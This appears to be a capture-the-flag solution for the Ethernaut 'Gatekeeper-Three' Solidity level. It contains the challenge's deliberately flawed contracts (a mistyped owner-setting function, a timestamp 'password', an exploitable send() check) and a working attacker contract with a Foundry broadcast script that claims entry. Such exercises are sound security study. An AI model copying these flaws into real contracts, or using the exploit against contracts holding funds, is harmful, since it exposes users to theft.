Gatekeeper-Three
Cope with gates and become an entrant.
Things that might help:
- Recall return values of low-level functions.
- Be attentive with semantic.
- Refresh how storage works in Ethereum.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract SimpleTrick {
GatekeeperThree public target;
address public trick;
uint private password = block.timestamp;
constructor (address payable _target) {
target = GatekeeperThree(_target);
}
function checkPassword(uint _password) public returns (bool) {
if (_password == password) {
return true;
}
password = block.timestamp;
return false;
}
function trickInit() public {
trick = address(this);
}
function trickyTrick() public {
if (address(this) == msg.sender && address(this) != trick) {
target.getAllowance(password);
}
}
}
contract GatekeeperThree {
address public owner;
address public entrant;
bool public allowEntrance;
SimpleTrick public trick;
function construct0r() public {
owner = msg.sender;
}
modifier gateOne() {
require(msg.sender == owner);
require(tx.origin != owner);
_;
}
modifier gateTwo() {
require(allowEntrance == true);
_;
}
modifier gateThree() {
if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
_;
}
}
function getAllowance(uint _password) public {
if (trick.checkPassword(_password)) {
allowEntrance = true;
}
}
function createTrick() public {
trick = new SimpleTrick(payable(address(this)));
trick.trickInit();
}
function enter() public gateOne gateTwo gateThree {
entrant = tx.origin;
}
receive () external payable {}
}
Solution:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "../lib/forge-std/src/console.sol";
interface GatekeeperThree {
function owner() external returns(address);
function entrant() external returns(address);
function construct0r() external;
function getAllowance(uint _password) external;
function createTrick() external;
function enter() external;
}
contract Attacker {
function attack(GatekeeperThree gate) public payable {
gate.construct0r();
gate.createTrick();
gate.getAllowance(block.timestamp);
(bool success,) = payable(address(gate)).call{value: address(this).balance }("");
require(success, 'call failed');
gate.enter();
}
receive() external payable {
revert();
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {Attacker,GatekeeperThree} from '../src/28.sol';
contract POC is Script {
// First I've used this method to find the password but I didn't found why it
// wasn't working when broadcasted to sepolia so I just made everything in
// one transaction
function getUintValue(address targetContract, uint256 slot) public view returns (uint256) {
bytes32 slotValue = vm.load(targetContract, bytes32(slot));
return uint256(slotValue);
}
function run() external {
uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY");
address addr = vm.envAddress("INSTANCE_28");
vm.startBroadcast(deployerPrivateKey);
GatekeeperThree gate = GatekeeperThree(payable(addr));
Attacker attacker = new Attacker();
console.log('entrant: %s', gate.entrant());
console.log('owner: %s', gate.owner());
attacker.attack{ value: 0.001001 ether }(gate);
console.log('entrant: %s', gate.entrant());
console.log('owner: %s', gate.owner());
vm.stopBroadcast();
}
}